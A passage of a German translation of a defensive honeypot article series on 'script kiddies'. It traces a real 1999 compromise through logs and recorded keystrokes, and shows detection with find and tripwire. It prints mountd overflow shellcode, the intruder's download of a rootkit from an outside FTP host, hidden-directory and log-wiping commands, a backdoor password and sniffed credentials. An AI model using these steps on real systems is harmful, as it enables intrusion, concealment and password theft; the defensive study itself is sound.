Beachte die ganzen Fehlermeldungen bei den Verbindungen. Da die SYN-ACK Sequenz abgebrochen wird, bevor die Verbindung steht, kann der daemon das Quellsystem nicht identifizieren. Die Logs sagen, das man gescannt worden ist, aber leider nicht von wem. Noch alarmierender ist es, das auf den meisten anderen Systemen (inklusive der neueren Linux-Kernelversionen) diese Fehler nicht mal geloggt würden. Um Fyodor zu zitieren "...Dies ist eine Kuriosität von Linux 2.0.XX -- praktisch jedes andere System (inklusive der 2.2 und älteren 2.1 Kernel) zeigt nichts an. Dieser Fehler (ein accept() wird gesendet bevor der 3-way-handshake komplett ist) wurde beseitigt."

nmap bietet noch andere Stealthoptionen, wie z.B. -sF, -sX, -sN bei denen verschiedene Parameter genutzt werden. So sehen die Logs für diese Scans aus:

```
/var/log/secure
```

Beachte: keine Logeinträge. Erschreckend, oder? Man wurde gerade gescannt und weiß es nicht mal. Alle drei Scans lieferten die gleichen Ergebnisse, man kann jedoch nur den ersten Typ (-sT, komplette Verbindung) vollständig loggen. Um diese "Stealthscans" zu entdecken, braucht man ein anderes Logprogramm wie tcplogd oder ippl. Einige kommerzielle Firewalls erkennen und zeichnen alle diese Scans auf (ich habe das auf einer Checkpoint Firewall-1 überprüft).

3.4 Sind sie reingekommen?

Wenn Du erkannt hast, das Du gescannt worden bist und wonach sie gesucht haben ist die nächste große Frage "Sind sie reingekommen?". Die meisten heutigen "remote exploits" basieren auf Pufferüberläufen (buffer overflows, auch bekannt als smashing the stack). Einfach formuliert findet ein Pufferüberlauf statt, wenn ein Programm (normalerweise ein daemon) mehr Eingaben erhält, als er erwartet hat und dadurch kritische Bereiche im Hauptspeicher überschreibt. Bestimmter Code wird dann ausgeführt und gibt dem User normalerweise root-Zugriff. Mehr Infos über buffer overflows findet man in Aleph1's hervorragendem Dokument auf ftp://ftp.technotronic.com/rfc/phrack49-14.txt.

Normalerweise erkennt man Buffer overflow-Attacken im /var/log/messages Logfile (oder /var/adm/messages bei anderen Unixvarianten) für Angriffe gegen mountd. Ähnliche Einträge findet man in maillog für Angriffe gegen den imapd. Eine solche Attacke würde wie folgt aussehen:

```
Apr 14 04:20:51 mozart mountd[6688]: Unauthorized access by NFS client
192.168.11.200.
Apr 14 04:20:51 mozart syslogd: Cannot glue message parts together
```

```
Apr 14 04:20:51 mozart mountd[6688]: Blocked attempt of 192.168.11.200 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P3Û3À°^[Í~@3Ò3À~KÚ°^FÍ~@þÂuô1À°^BÍ~@~EÀubëb^V¬<ýt^FþÀt^Këõ°0þÈ~HFÿëì^°^B~
I^FþÈ~IF^D°^F~IF^H°f1ÛþÃ~IñÍ~@~I^F°^Bf~IF^L°*f~IF^N~MF^L~IF^D1À~IF^P°^P~IF^H°
fþÃÍ~@°^A~IF^D°f³^DÍ~@ë^DëLëR1À~IF^D~IF^H°fþÃÍ~@~HÃ°?1ÉÍ~@°?þÁÍ~@°?þÁÍ~@¸.bin@~
I^F¸.sh!@~IF^D1À~HF^G~Iv^H~IF^L°^K~Ió~MN^H~MV^LÍ~@1À°^A1ÛÍ~@èEÿÿÿÿýÿPrivet
ADMcrew~P(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(Apr 14 04:20:51
mozart ^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^
E^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^ H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
^H(-^E^H(-^E
```

Wenn so etwas in den Logs auftaucht, hat jemand versucht, in das System einzudringen. Es ist schwierig zu sagen, ob er erfolgreich war. Eine Methode wäre es, nach dem Angriffsversuch nachzusehen, ob von dem Quellsystem eine Verbindung zum eigenen System besteht. Wenn sie sich erfolgreich von außen einloggen, haben sie Zugriff. Ein anderer Hinweis ist die Existenz von Accounts wie "moof", "rewt", "crak0" oder "w0rm" in /etc/passwd. Diese Accounts, mit der uid0, werden von einigen der gebräuchlicheren Tools angelegt. Wenn der Böse erst mal zugriff hat, wird er normalerweise als erstes die Logs säubern und das Logging verändern (syslogd), mehr Informationen dazu finden sich im dritten Teil. Von dann an wirst man keine zuverlässigen Logs mehr erhalten, da alles kompromittiert ist. Was man als nächstes tut, ist Gegnstand eines anderen Artikels. Bis dahin empfehle ich die Seite http://www.cert.org/nav/recovering.html zu lesen.

Um mir beim Finden von Anomalien in meinen Logs zu helfen, habe ich folgende Shellskripte (http://www.enteract.com/~lspitz/bash.txt bzw. http://www.enteract.com/~lspitz/ksh.txt) geschrieben, die meine Logfiles scannen. Für detailliertere Infos zum "greppen" und Sortieren von Logfiles liest man am besten die Postings von Marcus Ranum hier nach: http://www.nfr.net/firewall-wizards/mail-archive/1997/Sep/0098.html

3.5 Schlußfolgerung

Deine Systemlogs verraten Dir ein ganze Menge über den Feind. Der erste Schritt muß jedoch die Sicherstellung der Integrität der Logs sein. Eine der besten Methoden dazu ist die Verwendung eines zentralen Remote-Logservers der von allen Systemen Logs empfängt und speichert. Einmal abgesichert, kann man Muster in den Logs erkennen. Basierend auf diesen Mustern und Logeinträgen kann man erkennen wonach der Böse sucht und welche Tools er wahrscheinlich verwendet. Aufbauend auf diesem Wissen kann man seine Systeme besser schützen und sichern.

4 Den Feind Kennen III

Dies ist der dritte Artikel aus einer Serie, die sich auf das Script Kiddie konzentriert. Der erste Teil beschäftigt sich damit, wie Script Kiddies Schwächen suchen, identifizieren und ausnutzen. Der zweite Teil erklärt, wie man solche Versuche erkennt, die eingesetzten Tools identifiziert und erkennt, wonach gesucht wird. Dieser Teil, der dritte, konzentriert sich darauf, was passiert, wenn sie erst mal root sind und hier besonders darauf, wie sie ihre Spuren verwischen und was sie als nächstes tun.

4.1 Wer ist das "Script Kiddie"?

Die bereits im ersten Teil erklärt, ist das "Script Kiddie" nicht so sehr eine Person als vielmehr eine Strategie: die Strategie, nach dem schnellen Erfolg zu suchen. Man sucht nicht nach speziellen Informationen oder greift eine spezielle Firma an, es geht nur darum, so einfach wie möglich root zu werden. Eindringlinge versuchen das, indem sie sich auf eine kleine Anzahl Schwächen beschränken und dann das ganze Internet danach absuchen. Dies ist nicht zu unterschätzen, denn früher oder später finden sie jemand verwundbaren. Wenn sie erstmal ein verwundbares System gefunden haben und root geworden sind, werden normalerweise als erstes die Spuren verwischt. Sie möchten sichergehen, daß Du nicht weißt, daß dein System gehackt wurde und daß Du ihre Aktionen nicht sehen oder loggen kanst. Danach benutzten sie dein System oft, um andere Netzwerke zu scannen oder überwachen dein System im Stillen. Um besser zu verstehen, wie sie dieses bewerkstelligen, folgen wir einfach den Schritten auf einem System das von einem Eindringling mit Hilfe von "Script Kiddie"-Taktiken geknackt wurde. Unser System namens Mozart läuft unter Red Hat Linux 5.1 und wurde am 27.04.1999 kompromittiert. Es folgen die tatsächlichen Schritte, die der Störenfried gemacht hat, mit den Systemlogs und Tastatureingaben um jeden Schritt nachvollziehen zu können. Alle Systemlogs wurden auf einem geschützten Syslogserver abgelegt und alle Eingaben wurden mit Hilfe von sniffit (ftp://ftp.technotronic.com/unix/network-sniffers) aufgezeichnet. Mehr Informationen darüber, wie die Informationen gesammelt wurden stehen in "Wie baut man einen Honigtopf" (http://www.enteract.com/~lspitz/honeypot.html). Im folgenden wird der Eindringling immer als "er" bezeichnet, obwohl wir keine Ahnung über das tatsächliche Geschlecht des Täters haben.

4.2 Der Angriff

Am 27.04. um 00:13 Uhr wurde unser Netzwerk von einem System 1Cust174.tnt2.long-branch.nj.da.uu.net auf verschiedene Schwächen inklusive nmap gescannt. Unser Eindringling hat dabei "Lärm" gemacht, da jedes unserer Systeme getestet wurde (mehr Informationen über das erkennen und analysieren solcher Scans finden sich im zweiten Teil).

```
Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174
```

Anscheinend hat er etwas gefunden, was ihm gefallen hat, denn er kam am gleichen Tag noch um 06:52 und 16:47 Uhr zurück. Er begann mit einem intensiveren Test und konzentrierte sich dabei auf das System Mozart. Er fand eine Schwäche und startete einen erfolgreichen Angriff gegen mountd, eine allgemein bekannte Schwachstelle in Red Hat 5.1. Hier kann man in /var/log/messages sehen, wie der Eindringling root wurde. Das Tool, das er

dazu benutzte war wahrscheinlich ADMountd.c /ftp://adm.freelsd.net/pub/ADM) oder etwas ähnliches.

```
Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client
208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
```

Direkt im Anschluß sehen wir in /var/adm/messages, wie unser Eindringling root wurde, indem er sich per Telnet als User crak0 einloggte und sich dann per su zum User rewt machte. Beide Accounts wurden durch das Angriffsskript angelegt. Jetzt hat er volle Kontrolle über das System.

```
Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak,    User not known to the
underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by
(uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by
crak0(uid=0)
```

4.3 Spuren verwischen

Der Fremde ist jetzt als root im System. Wie wir jetzt sehen werden, ist sein nächster Schritt sicherzustellen, das er nicht erwischt wird. Als erstes prüft er, ob noch andere User angemeldet sind:

```
[crak0@mozart /tmp]$ w
  4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w
```

Nachdem er festgestellt hat, daß er allein ist, wird alle seine Taten unsichtbar machen wollen. Das bedeutet normalerweise, das er alle Beweise aus den Logfiles löscht und Systemdateien wie ps oder netstat durch Trojanische Pferde ersetzt, so daß man ihn im System nicht erkennen kann. Sind die Trojaner erst einmal installiert, hat er die totale Kontrolle über das System und Du wirst es sehr wahrscheinlich niemals herausbekommen. Genauso, wie es Skripte zum automatisiertem Hacken gibt, gibt es auch Skripte zum automatischen verstecken von Eindringlingen, oft rootkits genannt. Eines der gebräuchlicheren ist lrk4 (ftp://ftp.technotronic.com/unix/trojans). Durch das Ausführen des Skripts werden eine Reihe kritischer Dateien ersetzt und tarnen den User in wenigen Sekunden. Mehr Informationen über rootkits finden sich im Readme von lrk4. Dadurch bekommt man eine bessere Vorstellung wie diese rootkits im allgemeinen funktionieren. Ich würde auch empfehlen, hide-and-seek (http://www.enteract.com/~lspitz/hide-n-seek.html) zu lesen, ein Text über das Spuren verwischen, geschrieben von den Bösen.

Innerhalb weniger Minuten, nachdem das System kompromittiert war, konnte man beobachten, wie der Eindringling das rootkit herunterlud und mit "make install" implementierte. Es folgen seine tatsächlichen Tastatureingaben um sich unsichtbar zu machen:

```
cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
```

```
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install
```

Beachte, daß er als erstes ein verstecktes Verzeichnis "." erzeugt, um darin sein rootkit zu verstecken. Dieses Verzeichnis taucht beim "ls" Befehl nicht auf und sieht bei einem "ls -la" wie das lokale Verzeichnis aus. Eine Möglichkeit dieses Verzeichnis zu finden ist das "find" Kommando (stelle sicher, daß Du der Integrität deiner "find" Datei vertrauen kannst):

```
mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/.
```

Unser Störenfried mag ja gut im Umgang mit Trojanern sein, aber sein Ansatz um die Logdateien zu säubern, war etwas einfacher gestrickt. Anstatt Tools wie zap2 oder clean zu nutzen, kopierte er einfach /dev/null in die Dateien /var/run/utmp und /var/log/utmp und löschte /var/log/wtmp. Man ahnt, daß etwas faul ist, wenn diese Dateien leer sind oder man den folgenden Fehler bekommt:

```
[root@mozart sbin]# last -10
last: /var/log/wtmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.
```

4.4 Der nächste Schritt

Wenn Eindringlinge erst einmal ein System kompromittiert haben, neigen sie dazu, eines von zwei Dingen zu tun. Entweder sie benutzen das System dazu, andere Rechner im Internet zu scannen oder sie machen es sich gemütlich und sehen zu, was sie über Dein System lernen können, z.B. Accounts oder Passwörter für andere Systeme. Unser Eindringling entschied sich für die zweite Variante: zurücklehnen und sehen, was man lernen kann. Er installierte einen Sniffer, der unseren gesamten Netzwerkverkehr abfing, inklusive der Telnet und ftp Verbindungen zu anderen Systemen. Auf diese Weise konnte er Logins und Passwörter in Erfahrung bringen. In /var/log/messages sehen wir, wie das System kurz nach dem Einbruch in den "promiscuous mode" geht:

```
Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.
```

Nachdem er seine Trojaner-Binaries installiert, die Logs gesäubert und den Sniffer gestartet hatte, trennte der Eindringling die Verbindung. Wir werden ihn jedoch am nächsten wiederkehren sehen, um herauszufinden, was für Verkehr er aufgefangen hatte.

4.5 Schadensbegrenzung

Da unser Freund die Verbindung gekappt hatte, bekam ich die Möglichkeit das System zu prüfen und herauszufinden was genau geschehen war. Ich war sehr daran interessiert herauszufinden, was verändert worden war und wo er die Informationen, die der Sniffer sammelte, ablegte. Zuerst fand ich mit Hilfe von tripwire (ftp://coast.cs.purdue.edu/pub/COAST/Tripwire) schnell heraus, welche Dateien modifiziert waren. Anmerkung: stelle sicher, das tripwire von der sicheren Quelle gestartet wird. Ich lasse gerne eine statisch gelinkte Version von einer Floppy mit Schreibschutz laufen. Tripwire zeigte folgendes:

```
added:   -rw-r--r-- root            5 Apr 27 17:01:16 1999
/usr/sbin/sniff.pid
added:   -rw-r--r-- root          272 Apr 27 17:18:09 1999
/usr/sbin/tcp.log
changed: -rws--x--x root        15588 Jun  1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998
/usr/bin/killall
changed: -rws--s--x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn
changed: -rws--s--x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998
/usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998
/usr/sbin/in.rshd
changed: -rwxr-x--- root       235516 Apr  4 22:11:56 1999
/usr/sbin/syslogd
changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r--r-- root          649 Apr 27 16:59:54 1999 /etc/passwd
```

Wie man sehen kann wurde eine Vielzahl von Dateien un Binaries modifiziert. Es gab keine neuen Einträge in der /etc/passwd (schlauerweise hatte er den crak0 und rewt Eintrag wieder gelöscht), also mußte er in einer der modifizierten Binaries eine Hintertür offen gelassen haben. Außerdem waren zwei Dateien hinzugefügt worden, /usr/sbin/sniff.pid und /usr/sbin/tcp.log. Nicht ganz überraschend war /usr/sbin/sniff.pid die pid des Sniffers und /usr/sbin/tcp.log war die Datei in der er alle gesammelten Informationen ablegt. Ausgehend von /usr/sbin/sniff.pid stellte sich heraus, das rpc.nfsd der Sniffer war. Unser Eindringling hatte einen Sniffer kompiliert, in diesem Fall linsniffer, und rpc.nfsd damit ersetzt. Das stellte sicher, das auch nach einem reboot der Sniffer durch den init-Prozeß gestartet wurde. Folgendes bestätigt, das rpc.nfsd der Sniffer ist:

```
mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s
```

Nachdem ich mein System untersucht und verstanden hatte, was vorgegangen war, ließ ich es alleine. Ich war neugierig, was seine nächsten Schritte sein würden. Ich wollte nicht, daß er wußte, daß ich ihn erwischt hatte, deshalb löschte ich alle meine Spuren aus /usr/sbin/tcp.log.

4.6 Die Rückkehr des Script Kiddies

Am nächsten Tag kam unser Freund wieder. Durch loggen seiner Tastatureingaben fand ich schnell die Hintertür: /bin/login war ein Trojaner. Diese Binary, die für Telnetsitzungen verwendet wird, war so konfiguriert, das der Account "rewt" mit dem Passwort "satori" root Rechte erhielt. "satori" ist das Standardpasswort für alle Trojaner, die von lrk4 installiert werden, ein sicheres Erkennungszeichen, daß Dein System kompromittiert sein könnte.

Der Eindringling prüfte, ob der Sniffer noch funktionierte. Außerdem wollte er wissen, ob irgendwelche Accounts seit dem vorherigen Tag abgefangen wurden. Hier seine Eingaben:

```
Red Hat Linux release 5.1 (Manhattan)
Kernel 2.0.35 on an i586
mozart login: rewt
Password:
[root@mozart /root]# w
  4:11pm  up 17:39,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
[root@mozart /root]# ps aux
USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
bin        250  0.0  1.1   776   352  ?  S   03:32   0:00 portmap
daemon     228  0.0  1.3   796   416  ?  S   03:32   0:00 /usr/sbin/atd
root         1  0.0  1.4   792   432  ?  S   03:31   0:03 init [3]
root         2  0.0  0.0     0     0  ?  SW  03:31   0:00 (kflushd)
root         3  0.0  0.0     0     0  ?  SW< 03:31   0:00 (kswapd)
root         4  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)
root         5  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)
root        36  0.0  1.1   752   364  ?  S   03:32   0:00 /sbin/kerneld
root        61  0.0  2.2  1196   688  ?  S   03:32   0:00 bash /etc/rc.d/rc 3
root       208  0.0  0.4   268   152  ?  S   03:32   0:00 syslogd
root       217  0.0  1.7   928   548  ?  S   03:32   0:00 klogd
root       239  0.0  1.5   864   488  ?  S   03:32   0:00 crond
root       261  0.0  2.5  1252   776  ?  S   03:32   0:00 /usr/sbin/snmpd -f
root       273  0.0  0.4   168   140  ?  S   03:32   0:00 inetd
root       284  0.0  2.0  1000   620  ?  S   03:32   0:00 named
root       297  0.0  2.2  1192   684  ?  S   03:32   0:00 sh /etc/rc.d/rc3.d/S6
root       306  0.0  1.6   852   504  ?  S   03:32   0:00 rpc.mountd
root       314  0.0  1.3   876   404  ?  S   03:32   0:00 rpc.nfsd
root       599  0.4  2.2  1240   696  ?  S   21:11   0:00 in.telnetd
root       600  1.3  2.5  1184   772  p0 S   21:11   0:00 -bash
root       614  0.0  1.2   920   400  p0 R   21:11   0:00 ps aux
[root@mozart /root]# cd /usr/sbin
[root@mozart sbin]# ls
ClockProg             innd                  sendfax
SVGATextMode          inndstart             sendmail
accton                ipop2d                set80
adduser               ipop3d                setVGAreg
am-eject              kbdconfig             setclock
amd                   klogd                 setconsole
amq                   logrotate             setpalette
apmd                  lpc                   setup
atd                   lpd                   showmount
atrun                 lpf                   sliplogin
automount             makewhatis            smbd
bootpd                mk-amd-map            smbmount
bootpef               mkdict                smbumount
bootptest             mkpasswd              sndconfig
callback              mouseconfig           sniff.pid
chat                  named                 snmpd
chpasswd              named-xfer            snmptrapd
chroot                named.reload          squid
clockprobe            named.restart         squid.novm
create-cracklib-dict  ncpserv               stm
crond                 ndc                   stm-menu
ctlinnd               newusers              strfile
dbmmanage             nmbd                  swapdev
dhcpd                 ntpdate               syslogd
dhcrelay              ntpq                  tcp.log
dip                   ntptrace              tcpd
diplogin              ntsysv                tcpdchk
dump-acct             nwbind                tcpdmatch
dump-utmp             nwclient              tcpdump
edquota               nwconn                tickadj
exportfs              nwserv                timeconfig
faxrunqd              pac                   timed
fixmount              packer                timedc
fsinfo                pmap_dump             tmpwatch
fuser                 pmap_set              traceroute
gated                 portmap               try-from
getVGAreg             pppd                  tunelp
```

```
getpalette            pppstats              unstr
grabmode              pwck                  useradd
groupadd              pwconv                userdel
groupdel              pwunconv              userhelper
groupmod              quotastats            usermod
grpck                 ramsize               usernetctl
grpconv               rdev                  uuchk
grpunconv             rdistd                uucico
hlfsd                 readprofile           uuconv
htdigest              repquota              uusched
htpasswd              rhbackup              uuxqt
httpd                 rmt                   vidmode
huntd                 rootflags             vipw
imapd                 routed                warnquota
in.comsat             rpc.bootparamd        wire-test
in.fingerd            rpc.mountd            wsmbconf
in.ftpd               rpc.nfsd              xferstats
in.identd             rpc.rquotad           xntpd
in.nnrpd              rpc.rusersd           xntpdc
in.ntalkd             rpc.rwalld            ypbind
in.rexecd             rpc.yppasswdd         yppoll
in.rlogind            rpc.ypxfrd            yppush
in.rshd               rpcinfo               ypserv
in.talkd              rwhod                 ypset
in.telnetd            sa                    zdump
in.tftpd              safe_finger           zic
in.timed              samba
inetd                 sbpnpprobe
[root@mozart sbin]# paste tcp.log

1Cust118.tnt1.long-branch.nj.da.uu.net => mozart [23]
 #'vt1002!rewt
satori
last -210110
cd /log
ls
/cd /var/log
ls

----- [Timed Out]

router => mozart [23]
 !"'#o% 38400,38400'VT100root
fergit
ls
cat /etc/hosts

----- [Timed Out]
Exiting...
[root@mozart sbin]# w
  4:11pm  up 17:39,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
[root@mozart sbin]# cat /etc/hosts
127.0.0.1               localhost localhost.localdomain
172.20.1.130            mozart mozart
172.20.1.1      router
[root@mozart sbin]# uname -a
Linux mozart 2.0.35 #1 Tue Jul 14 23:56:39 EDT 1998 i586 unknown
[root@mozart sbin]# netstat -r
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
172.20.1.0      *               255.255.255.0   U      1500 0          0 eth0
127.0.0.0       *               255.0.0.0       U      3584 0          0 lo
default         router          0.0.0.0         UG     1500 0          0 eth0
[root@mozart sbin]# netstat -rs
netstat: illegal option -- s
usage: netstat [-veenNcCF] [<Af>] -r         netstat {-V|--version|-h|--help}
       netstat [-vnNcaeo] [<Socket>]
       netstat { [-veenNac] -i | [-vnNc] -L | [-cnNe] -M }
         -r, --route              display routing table
         -L, --netlink            display netlink kernel messages
         -i, --interfaces         display interface table
         -M, --masquerade         display masqueraded connections
         -v, --verbose            be verbose
```

```
        -n, --numeric           dont resolve names
        -e, --extend            display other/more informations
        -c, --continuous        continuous listing
        -a, --all, --listening  display all
        -o, --timers            display timers
<Socket>={-t|--tcp} {-u|--udp} {-w|--raw} {-x|--unix} --ax25 --ipx --netrom
<Af>= -A {inet|ipx|netrom|ddp|ax25},... --inet --ipx --netrom --ddp --ax25
[root@mozart sbin]#ls
ClockProg             innd                  sendfax
SVGATextMode          inndstart             sendmail
accton                ipop2d                set80
adduser               ipop3d                setVGAreg
am-eject              kbdconfig             setclock
amd                   klogd                 setconsole
amq                   logrotate             setpalette
apmd                  lpc                   setup
<SCHNIPP, den Rest habe ich gekürzt JB>
[root@mozart sbin]# rpc.nfsd
ÿò[root@mozart sbin]# ps aux
USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
bin        250  0.0  1.1   776   352  ?  S   03:32   0:00 portmap
daemon     228  0.0  1.3   796   416  ?  S   03:32   0:00 /usr/sbin/atd
root         1  0.0  1.4   792   432  ?  S   03:31   0:03 init [3]
root         2  0.0  0.0     0     0  ?  SW  03:31   0:00 (kflushd)
root         3  0.0  0.0     0     0  ?  SW< 03:31   0:00 (kswapd)
root         4  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)
root         5  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)
root        36  0.0  1.1   752   364  ?  S   03:32   0:00 /sbin/kerneld
root        61  0.0  2.2  1196   688  ?  S   03:32   0:00 bash /etc/rc.d/rc 3
root       208  0.0  0.4   268   152  ?  S   03:32   0:00 syslogd
root       217  0.0  1.7   928   548  ?  S   03:32   0:00 klogd
root       239  0.0  1.5   864   488  ?  S   03:32   0:00 crond
root       261  0.0  2.5  1252   776  ?  S   03:32   0:00 /usr/sbin/snmpd -f
root       273  0.0  0.4   168   140  ?  S   03:32   0:00 inetd
root       284  0.0  2.0  1000   620  ?  S   03:32   0:00 named
root       297  0.0  2.2  1192   684  ?  S   03:32   0:00 sh /etc/rc.d/rc3.d/S6
root       306  0.0  1.6   852   504  ?  S   03:32   0:00 rpc.mountd
root       314  0.0  1.3   876   404  ?  S   03:32   0:00 rpc.nfsd
root       599  0.0  2.2  1240   696  ?  S   21:11   0:00 in.telnetd
root       600  0.1  2.5  1184   772  p0 S   21:11   0:00 -bash
root       626  0.0  1.2   920   400  p0 R   21:12   0:00 ps aux
[root@mozart sbin]# rm tcp.log
rm: remove `tcp.log'? y
[root@mozart sbin]# kill -9 314
[root@mozart sbin]# rm rpc.nfsd
```

Beachte, das er ganz zum Schluß den Sniffer stoppt. Das war das letzte, was er vor der Beendigung der Sitzung tat. Er kam jedoch schnell zurück, nur um den Sniffer neu zu starten. Ich bin mir nicht ganz sicher, warum er das getan hat.

Dieser Vorgang des Systemchecks wiederholte sich für einige Tage. Jeden Tag kam der Eindringling zurück, um zu prüfen, ob der Sniffer noch lief und ob er irgendwelche wertvollen Daten gesammelt hatte. Nach dem vierten Tag beschloß ich, daß es nun genug sei und trennte das System. Ich hatte genug von dem Eindringling gelernt und schien nichts neues mehr lernen zu können.

4.7 Schlußfolgerung

